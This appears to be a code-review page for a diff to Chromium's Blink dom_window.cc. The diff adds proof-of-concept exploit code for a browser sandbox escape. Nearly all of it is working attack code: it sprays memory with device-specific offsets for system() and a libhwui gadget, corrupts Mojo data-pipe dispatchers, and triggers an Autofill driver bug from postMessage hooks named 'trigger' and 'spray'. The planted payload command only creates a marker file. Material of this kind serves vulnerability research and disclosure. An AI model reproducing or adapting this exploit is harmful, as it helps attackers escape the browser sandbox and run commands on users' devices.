|
| 1 | +diff --git a/third_party/blink/renderer/core/frame/dom_window.cc b/third_party/blink/renderer/core/frame/dom_window.cc |
| 2 | +index 59204c4d8db3..6c50421a6c78 100644 |
| 3 | +--- a/third_party/blink/renderer/core/frame/dom_window.cc |
| 4 | ++++ b/third_party/blink/renderer/core/frame/dom_window.cc |
| 5 | +@@ -43,6 +43,56 @@ |
| 6 | + #include "third_party/blink/renderer/platform/weborigin/kurl.h" |
| 7 | + #include "third_party/blink/renderer/platform/weborigin/security_origin.h" |
| 8 | + |
| 9 | ++ |
| 10 | ++#include "ui/gfx/geometry/rect_f.h" |
| 11 | ++#include "base/strings/utf_string_conversions.h" |
| 12 | ++#include "content/public/renderer/render_frame.h" |
| 13 | ++#include "content/renderer/render_frame_impl.h" |
| 14 | ++#include "content/public/renderer/render_frame_visitor.h" |
| 15 | ++#include "content/renderer/frame_owner_properties_converter.h" |
| 16 | ++#include "content/renderer/render_frame_proxy.h" |
| 17 | ++#include "components/autofill/core/common/mojom/autofill_types.mojom.h" |
| 18 | ++#include "components/autofill/content/common/mojom/autofill_agent.mojom.h" |
| 19 | ++#include "components/autofill/content/common/mojom/autofill_driver.mojom.h" |
| 20 | ++ |
| 21 | ++#include "components/autofill/core/common/password_generation_util.h" |
| 22 | ++#include "components/autofill/core/common/form_data.h" |
| 23 | ++#include "components/autofill/core/common/renderer_id.h" |
| 24 | ++#include "third_party/blink/renderer/core/frame/web_local_frame_impl.h" |
| 25 | ++ |
| 26 | ++#include "third_party/ashmem/ashmem.h" |
| 27 | ++#include <sys/mman.h> |
| 28 | ++#include "third_party/blink/renderer/core/mojo/mojo.h" |
| 29 | ++#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_options.h" |
| 30 | ++#include "third_party/blink/renderer/core/mojo/mojo_create_data_pipe_result.h" |
| 31 | ++ |
| 32 | ++#include "base/single_thread_task_runner.h" |
| 33 | ++#include "third_party/blink/public/mojom/blob/blob_registry.mojom-blink.h" |
| 34 | ++#include "third_party/blink/public/mojom/fetch/fetch_api_request.mojom-blink-forward.h" |
| 35 | ++#include "third_party/blink/public/mojom/frame/back_forward_cache_controller.mojom-blink-forward.h" |
| 36 | ++#include "third_party/blink/public/mojom/service_worker/controller_service_worker_mode.mojom-blink-forward.h" |
| 37 | ++#include "third_party/blink/public/platform/web_url_loader.h" |
| 38 | ++#include "third_party/blink/renderer/platform/heap/persistent.h" |
| 39 | ++#include "third_party/blink/renderer/platform/loader/fetch/fetch_parameters.h" |
| 40 | ++#include "third_party/blink/renderer/platform/loader/fetch/preload_key.h" |
| 41 | ++#include "third_party/blink/renderer/platform/loader/fetch/resource_load_priority.h" |
| 42 | ++#include "third_party/blink/renderer/platform/loader/fetch/resource_load_scheduler.h" |
| 43 | ++#include "third_party/blink/renderer/platform/mojo/heap_mojo_remote.h" |
| 44 | ++#include "third_party/blink/renderer/platform/mojo/heap_mojo_wrapper_mode.h" |
| 45 | ++#include "third_party/blink/renderer/platform/mojo/mojo_binding_context.h" |
| 46 | ++#include "third_party/blink/renderer/platform/platform_export.h" |
| 47 | ++#include "third_party/blink/renderer/platform/timer.h" |
| 48 | ++#include "third_party/blink/renderer/platform/wtf/hash_map.h" |
| 49 | ++#include "third_party/blink/renderer/platform/wtf/hash_set.h" |
| 50 | ++#include "third_party/blink/renderer/platform/wtf/text/string_hash.h" |
| 51 | ++#include "third_party/blink/public/common/thread_safe_browser_interface_broker_proxy.h" |
| 52 | ++ |
| 53 | ++#include "mojo/core/core.h" |
| 54 | ++#include "mojo/public/c/system/data_pipe.h" |
| 55 | ++ |
| 56 | ++#include <fstream> |
| 57 | ++#include <string> |
| 58 | ++ |
| 59 | + namespace blink { |
| 60 | + |
| 61 | + DOMWindow::DOMWindow(Frame& frame) |
| 62 | +@@ -55,6 +105,135 @@ DOMWindow::~DOMWindow() { |
| 63 | + DCHECK(!frame_); |
| 64 | + } |
| 65 | + |
| 66 | ++ |
| 67 | ++//--------------Spray virtual memory---------------------------- |
| 68 | ++static uint64_t findLibOffset(const std::string& lib) { |
| 69 | ++ std::ifstream file("/proc/self/maps"); |
| 70 | ++ CHECK(file.is_open()) << "Cannot open /proc/self/maps"; |
| 71 | ++ std::string line; |
| 72 | ++ std::string addr; |
| 73 | ++ while (std::getline(file, line)) { |
| 74 | ++ if (line.find(lib) != std::string::npos) { |
| 75 | ++ LOG(ERROR) << "found "<< lib << line; |
| 76 | ++ int pos = line.find("-"); |
| 77 | ++ std::string addrStr = line.substr(0,pos); |
| 78 | ++ uint64_t offset = std::stol(addrStr, nullptr, 16); |
| 79 | ++ LOG(ERROR) << addrStr << " : " << offset; |
| 80 | ++ return offset; |
| 81 | ++ } |
| 82 | ++ } |
| 83 | ++ CHECK(false) << "Cannot find " << lib << " offset"; |
| 84 | ++ return 0; |
| 85 | ++} |
| 86 | ++ |
| 87 | ++//Same as the heuristics used in javascript. |
| 88 | ++static uint64_t computeControlledAddress(uint64_t addr) { |
| 89 | ++ uint64_t sprayedAddr = addr - 0x1000000000; |
| 90 | ++ uint64_t fillAddr = sprayedAddr/0x100000000; |
| 91 | ++ return fillAddr * 0x100000000; |
| 92 | ++} |
| 93 | ++ |
| 94 | ++static int mapAndInitializeSharedMem(uint64_t* addr) { |
| 95 | ++ size_t pageSize = 0x1000; |
| 96 | ++ size_t hugePageSize = 0x8000000; |
| 97 | ++ uint64_t libhwuiOffset = findLibOffset("libhwui.so"); |
| 98 | ++ uint64_t libcOffset = findLibOffset("libc.so"); |
| 99 | ++ |
| 100 | ++//A71 specific offsets-------------------- |
| 101 | ++ uint64_t executeOffset = 0x8ce318; |
| 102 | ++ uint64_t systemOffset = 0x60ac8; |
| 103 | ++//------------------------------------------ |
| 104 | ++ int fd = ashmem_create_region("spray_region", hugePageSize); |
| 105 | ++ for (size_t i = 0; i < hugePageSize/pageSize; i++) { |
| 106 | ++ uint8_t* mapped = (uint8_t*)mmap(nullptr, pageSize, PROT_READ | PROT_WRITE, MAP_SHARED, fd, i * pageSize); |
| 107 | ++ CHECK(mapped && mapped != MAP_FAILED) << "mmap failed " << i; |
| 108 | ++ if (i == 0) *addr = (uint64_t)mapped; |
| 109 | ++ memset(mapped, 0x00, pageSize); |
| 110 | ++ uint64_t* execute = (uint64_t*)(mapped + 8); |
| 111 | ++ *execute = executeOffset + libhwuiOffset; |
| 112 | ++ //Fake webpworker |
| 113 | ++ uint64_t* hook = (uint64_t*)(mapped + 0x10); |
| 114 | ++ *hook = systemOffset + libcOffset; |
| 115 | ++ uint64_t controlledAddr = computeControlledAddress(*addr); |
| 116 | ++ uint64_t* data = (uint64_t*)(mapped + 0x18); |
| 117 | ++ *data = controlledAddr + 0x100; |
| 118 | ++ char cmd[] = "touch /data/data/org.chromium.chrome/pwn"; |
| 119 | ++ memcpy(mapped + 0x100, cmd, strlen(cmd) + 1); |
| 120 | ++ } |
| 121 | ++ return fd; |
| 122 | ++} |
| 123 | ++ |
| 124 | ++static std::vector<mojo::ScopedHandle> createDataPipes(int pipeNum, std::vector<int>& fd) { |
| 125 | ++ std::vector<mojo::ScopedHandle> handles; |
| 126 | ++ for (int i = 0; i < pipeNum; i++) { |
| 127 | ++ MojoCreateDataPipeOptions options; |
| 128 | ++ options.setElementNumBytes(1); |
| 129 | ++ options.setCapacityNumBytes(0x1000); |
| 130 | ++ MojoCreateDataPipeResult* result = Mojo::createDataPipe(&options); |
| 131 | ++ handles.push_back(result->consumer()->TakeHandle()); |
| 132 | ++ } |
| 133 | ++ return handles; |
| 134 | ++} |
| 135 | ++ |
| 136 | ++ |
| 137 | ++static uint64_t sprayVirtualMem() { |
| 138 | ++ int dupNum = 200; |
| 139 | ++ uint64_t addr = 0; |
| 140 | ++ int fd = mapAndInitializeSharedMem(&addr); |
| 141 | ++ std::vector<int> fds; |
| 142 | ++ for (int i = 0; i < dupNum; i++) { |
| 143 | ++ fds.push_back(dup(fd)); |
| 144 | ++ } |
| 145 | ++ std::vector<mojo::ScopedHandle> handles = createDataPipes(dupNum, fds); |
| 146 | ++ mojo::core::Core* core = mojo::core::Core::Get(); |
| 147 | ++ for (size_t i = 0; i < handles.size(); i++) { |
| 148 | ++ scoped_refptr<mojo::core::Dispatcher> dispatcher = core->GetDispatcher(handles[i]->value()); |
| 149 | ++ uint8_t* dispatcherPtr8 = (uint8_t*)(dispatcher.get()); |
| 150 | ++ int offset = 160; |
| 151 | ++ *(base::ScopedFD*)(dispatcherPtr8 + offset) = base::ScopedFD(fds[i]); |
| 152 | ++ uint64_t* dispatcherPtrWide = (uint64_t*)(dispatcher.get()); |
| 153 | ++ *(dispatcherPtrWide + (offset + 24)/sizeof(uint64_t)) = 0x8000000; |
| 154 | ++ ::MojoCreateDataPipeOptions* options = (::MojoCreateDataPipeOptions*)(dispatcherPtr8 + 16); |
| 155 | ++ options->element_num_bytes = 0x8000000; |
| 156 | ++ options->capacity_num_bytes = 0x8000000; |
| 157 | ++ } |
| 158 | ++ |
| 159 | ++ |
| 160 | ++ mojo::Remote<mojom::blink::BlobRegistry> blob_registry; |
| 161 | ++ Platform::Current()->GetBrowserInterfaceBroker()->GetInterface( |
| 162 | ++ blob_registry.BindNewPipeAndPassReceiver()); |
| 163 | ++ for (int i = 0; i < dupNum; i++) { |
| 164 | ++ blob_registry->RegisterFromStream("", "", 1, mojo::ScopedDataPipeConsumerHandle::From(std::move(handles[i])), mojo::NullAssociatedRemote(), base::DoNothing()); |
| 165 | ++ } |
| 166 | ++ return addr; |
| 167 | ++} |
| 168 | ++//---------------------------------------------------------------------- |
| 169 | ++ |
| 170 | ++//Triggering bug |
| 171 | ++static void RenderFrameImpl_Visitor(content::RenderFrameImpl* frame) { |
| 172 | ++ blink::AssociatedInterfaceProvider* provider = frame->GetRemoteAssociatedInterfaces(); |
| 173 | ++ mojo::AssociatedRemote<autofill::mojom::AutofillDriver> autofill_driver; |
| 174 | ++ provider->GetInterface(&autofill_driver); |
| 175 | ++ autofill::FormData form; |
| 176 | ++ autofill::FormFieldData field; |
| 177 | ++ field.autocomplete_attribute = "cc-number"; |
| 178 | ++ form.fields.push_back(field); |
| 179 | ++ form.url = GURL("https://www.aaa.com"); |
| 180 | ++ autofill_driver->QueryFormFieldAutofill(0, form, field, gfx::RectF(10,10), false); |
| 181 | ++} |
| 182 | ++ |
| 183 | ++static void RenderFrameHost_test() { |
| 184 | ++ struct TriggerVisitor : public content::RenderFrameVisitor { |
| 185 | ++ bool Visit(content::RenderFrame* frame) override { |
| 186 | ++ RenderFrameImpl_Visitor((content::RenderFrameImpl*)frame); |
| 187 | ++ return true; |
| 188 | ++ } |
| 189 | ++ }; |
| 190 | ++ TriggerVisitor visitor; |
| 191 | ++ content::RenderFrame::ForEach(&visitor); |
| 192 | ++} |
| 193 | ++//---------------------------------------------------------------------- |
| 194 | ++ |
| 195 | + v8::Local<v8::Value> DOMWindow::Wrap(v8::Isolate* isolate, |
| 196 | + v8::Local<v8::Object> creation_context) { |
| 197 | + // TODO(yukishiino): Get understanding of why it's possible to initialize |
| 198 | +@@ -157,6 +336,15 @@ void DOMWindow::postMessage(v8::Isolate* isolate, |
| 199 | + const String& target_origin, |
| 200 | + HeapVector<ScriptValue>& transfer, |
| 201 | + ExceptionState& exception_state) { |
| 202 | ++ if (target_origin == "trigger") { |
| 203 | ++ RenderFrameHost_test(); |
| 204 | ++ return; |
| 205 | ++ } |
| 206 | ++ if (target_origin == "spray") { |
| 207 | ++ uint64_t addr = sprayVirtualMem(); |
| 208 | ++ exception_state.ThrowTypeError(String::Number(addr)); |
| 209 | ++ return; |
| 210 | ++ } |
| 211 | + WindowPostMessageOptions* options = WindowPostMessageOptions::Create(); |
| 212 | + options->setTargetOrigin(target_origin); |
| 213 | + if (!transfer.IsEmpty()) |
0 commit comments